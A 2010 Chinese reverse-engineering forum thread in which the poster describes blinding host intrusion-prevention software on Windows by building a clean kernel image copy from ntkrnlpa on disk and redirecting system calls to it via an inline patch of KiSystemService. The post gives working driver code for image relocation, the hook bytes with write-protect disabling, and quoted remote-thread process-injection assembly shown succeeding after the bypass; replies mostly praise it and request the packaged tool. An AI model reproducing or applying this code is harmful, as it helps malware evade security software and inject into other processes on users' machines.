首页
社区
课程
招聘
[原创]给主防来个釜底抽薪:)
2010-5-22 00:39 14289

[原创]给主防来个釜底抽薪:)

2010-5-22 00:39
14289
偶刚踏进门槛,水平有限,大家凑合着看吧00!
目前偶对主防的认识很肤浅,她的具体工作原理,偶不清楚。只知道她有一套信息采集系统(SSDT/SHADOW HOOK ,IAT HOOK, EAT HOOK, INLINE HOOK, NotifyRoutine,系统消息钩子),并巧妙利用堆栈回溯来获取更多信息。她应该还有一套自己独特的算法吧,通过它来根据收集到的信息判断当前操作是否是威胁。

基于这点认识,偶想能不能不管她那什么专家系统,只要干掉她的信息采集系统,就可以让她变成一个盲人而彻底失去防卫能力。为了得到控制权,她在内核映像上安插了若干个inlinehook控制点

。。。。。。
ntkrnlpa.exe!ZwLoadDriver + 3D            
ntkrnlpa.exe!NtAllocateVirtualMemory + C54
ntkrnlpa.exe!NtCreateSection + 158        
ntkrnlpa.exe!MmResetDriverPaging + 1340   
ntkrnlpa.exe!NtMapViewOfSection + 2B9      
ntkrnlpa.exe!ZwUnmapViewOfSection + 50   
ntkrnlpa.exe!ZwWriteVirtualMemory + AD   
ntkrnlpa.exe!ZwProtectVirtualMemory + FA  
ntkrnlpa.exe!NtSetSecurityObject + 4A      
。。。。

一个一个去清除这些控制点是项艰巨的任务。如果她有自我检验的能力,刚清除又会她被修改回去,则更加难以对付。而且还要考虑inlinehook的多核同步问题。总之,这条路不好走。

现在换一个思路,可不可以这样:利用磁盘上的原始内核文件,在内核空间建立一个内核映像的副本,再巧妙的把系统执行路径转移到副本上--偶的乾坤大挪移00!。而原始的内核文件是没有这些inlinehook控制点,因此这样做相当于把这些控制点架空,当然也把建立在inlinehook之上的主防也架空了。(釜底抽薪,这个成语用在这里,应该不为过吧)。现在就只要做两件事:

1)在内核空间建立内核映像副本

。。。。

kImageBase = ExAllocatePoolWithTag (NonPagedPool, imageSize, 0x123456);
if (NULL == kImageBase)
{
  KdPrint (("Out of Memory 00!\n"));
  return STATUS_UNSUCCESSFUL;
}

RtlCopyMemory (kImageBase, kDiskBase, ntHeader->OptionalHeader.SizeOfHeaders);
ExFreePoolWithTag (kDiskBase,0x123456);

for (i = 0; i < sectionNumbers; i++)
{
  RtlCopyMemory ((PUCHAR)kImageBase + secHeader->VirtualAddress,
    (PUCHAR)kDiskBase + secHeader->PointerToRawData, secHeader->SizeOfRawData);
  secHeader++;
}

RelocDir = (PIMAGE_BASE_RELOCATION)((ULONG)kImageBase + ntHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
if (RelocDir != NULL)
{
  while (RelocDir->VirtualAddress != 0 || RelocDir->SizeOfBlock != 0)
  {
    FixAddrBase = RelocDir->VirtualAddress + (ULONG)kImageBase;
    RelocSize = (RelocDir->SizeOfBlock - 8)/2;
    for ( i = 0; i < RelocSize; i++)
    {
    Temp = *(PUSHORT)((ULONG)RelocDir + sizeof (IMAGE_BASE_RELOCATION) + i * 2);
    if ( (Temp & 0xF000) == 0x3000)
    {
      Temp &= 0x0FFF;
      FixAddr = FixAddrBase + (ULONG)Temp;
      *(PULONG)FixAddr = *(PULONG)FixAddr + (ULONG)KernelBase - (ULONG)ntHeader->OptionalHeader.ImageBase;
    }
    }
    RelocDir = (ULONG)RelocDir + RelocDir->SizeOfBlock;
  }
}

。。。。。

2)将执行路径转移至副本

。。。。

*(PUSHORT)HookPointer = 0x3f83;
*(HookPointer + 2) = 0x0;
*(PUSHORT)(HookPointer + 3) = 0xd74;
*(PUSHORT)(HookPointer + 5) = 0xff81;
*(PULONG)(HookPointer + 7) = KeServiceDescriptorTable;
*(PUSHORT)(HookPointer + 11) = 0x575;
*(HookPointer + 13) = 0xbf;
*(PULONG)(HookPointer + 14) = ImageTable;
RtlCopyMemory(HookPointer + 18, (char *)((ULONG)KeSystemService + ChangePointer + 1), 7);
*(HookPointer + 25) = 0xe9;
*(PLONG)(HookPointer + 26) = (ULONG)KeSystemService + (ULONG)ChangePointer + 8 - (ULONG)HookPointer - 30 ;

*(PUSHORT)(&JmpCode) = 0xe900;
*(PLONG)((ULONG)&JmpCode + 2) = HookPointer - ((ULONG)KeSystemService + ChangePointer + 1 + 5);
*(PUSHORT)((ULONG)&JmpCode + 6) = 0xFA8B;
//不支持多核
_asm{
  cli
  mov eax,cr0
  and eax,not 10000h
  mov cr0,eax
      }
*(PULONGLONG)((ULONG)KeSystemService + ChangePointer) = JmpCode;
_asm{
  mov eax,cr0
  or  eax,10000h
  mov cr0,eax
  sti
      }

。。。。

利用驱动完成这两步其实还是比较容易,高手一眼就能看出来。除了用到系统函数ZwReadFile之外,不需要用其他系统函数,这些主防一般是不会对文件读操作进行控制的。这样就可以防止在做这两件事时被主防拦截。如果有变态的主防控制ReadFile,那么,只得采用更底层的方法来读去内核文件。所剩下的唯一一个受制点:主防她控制着驱动的加载00!她死活不让我加载,那我也没办法00!偶电脑上的这款主防,幸好她放开了这个控制。偶就试试她,看看这套思路能不能实现。

拿论坛上某位兄台的注入代码来测试,关键代码如下,300是任务管理器的PID

mov dwProcessID,300
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,FALSE,dwProcessID
mov hProcess,eax  
invoke VirtualAllocEx,hProcess,0,offset lcl - offset _lpMessageBox,MEM_COMMIT,PAGE_EXECUTE_READWRITE
mov lpRemoteCode,eax
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset _lpMessageBox,offset lcl - offset _lpMessageBox,0
invoke WriteProcessMemory,hProcess,lpRemoteCode,offset lpMessageBox,4,0
mov eax,lpRemoteCode
add eax,offset RemoteThread - offset _lpMessageBox
Invoke CreateRemoteThread,hProcess,0,0,eax,0,0,0

具体效果见顶图,若是能成功加载,从原理上来说应该是可以让任何主防当摆设!!
未运行偶的驱动前,毫无疑问会被拦截

架空之后,注入成功

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞6
打赏
分享
最新回复 (26)
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jasonzhou 2010-5-22 14:36
2
0
有点意思,跟r3的防inline hook的原理差不多吧,也是重新加载
雪    币: 75
活跃值: (418)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
skypismire 1 2010-5-22 23:32
3
0
多谢楼上捧场
若换个标题 让XXXX XXXX,估计就会有人气了 --!
雪    币: 65
活跃值: (565)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dnybz 2010-5-22 23:50
4
0


打包上来吧。
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rafaelcn 2010-5-23 20:11
5
0
是呀,强烈邀请楼主打包上来好兄弟们学习学习~~
雪    币: 244
活跃值: (34)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
lonkil 1 2010-5-23 23:55
6
0
所剩下的唯一一个受制点:主防她控制着驱动的加载00!她死活不让我加载,那我也没办法00!

这是个难点,呵呵。
雪    币: 47
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yeluosong 2010-5-24 03:19
7
0
....................................
雪    币: 207
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
flong 2010-5-25 12:16
8
0
呵呵,标题不好
干脆改成:再次让360俯首称臣!
保证人气超旺!
雪    币: 339
活跃值: (51)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ghban 2010-5-25 14:06
9
0
呵呵 精彩 精彩!
雪    币: 7651
活跃值: (493)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 15 2010-5-26 13:48
10
0
非要跟360扯上关系的话,肯定会火~~
这种搞法,哪个主防也扛不住哈哈~~~
不过幸亏人家还有最后的制高点——“驱动加载”监控~
雪    币: 75
活跃值: (418)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
skypismire 1 2010-5-26 16:33
11
0
多谢楼上捧场。。识货的人不多00!

不关360的事,360对驱动加载有提示。
那个估计也有控制,不过不是在入口上控制的,可能是在驱动执行过程中加以判断的。而我这个没用什么系统函数,那个就没办法了。
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiejienet 2010-5-26 20:04
12
0
你们又不乖了
雪    币: 356
活跃值: (63)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
isno 3 2010-5-26 23:09
13
0
这是先有鸡还是先有蛋的问题吧,要能加载驱动的话主动防御也就不算什么了,难就难在加载驱动
雪    币: 70
活跃值: (64)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
yiyiguxing 1 2010-5-27 12:32
14
0
能加载驱动的话,想怎么玩都可以的
雪    币: 6090
活跃值: (599)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
君君寒 2010-5-27 15:12
15
0
重起加载。。。
雪    币: 209
活跃值: (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
noTme 1 2010-5-27 15:34
16
0
你这够狠的哈
雪    币: 42
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zzxxaa 2010-5-27 16:20
17
0
学习一下哈哈
雪    币: 260
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
droiyan 2010-5-27 20:21
18
0
金蝉脱壳
雪    币: 170
活跃值: (90)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
竹君 5 2010-5-27 20:43
19
0
思路新颖 不错
雪    币: 333
活跃值: (46)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
nevsayno 2010-6-2 04:51
20
0
记得曾经04也这么干过......
雪    币: 333
活跃值: (46)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
nevsayno 2010-6-2 04:52
21
0
学习了~~~
雪    币: 508
活跃值: (202)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
wangweilll 2 2010-6-2 11:49
22
0
我顶一下呵呵
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gotiger 2010-6-2 13:29
23
0
思路不错,如果用XX方法加载驱动就更好了。
雪    币: 241
活跃值: (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
海浪轻风 1 2010-6-6 13:54
24
0
灰常强大!!
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qtjg 2010-6-6 16:34
25
0
这个应该不错哦,支持楼主。
游客
登录 | 注册 方可回帖
返回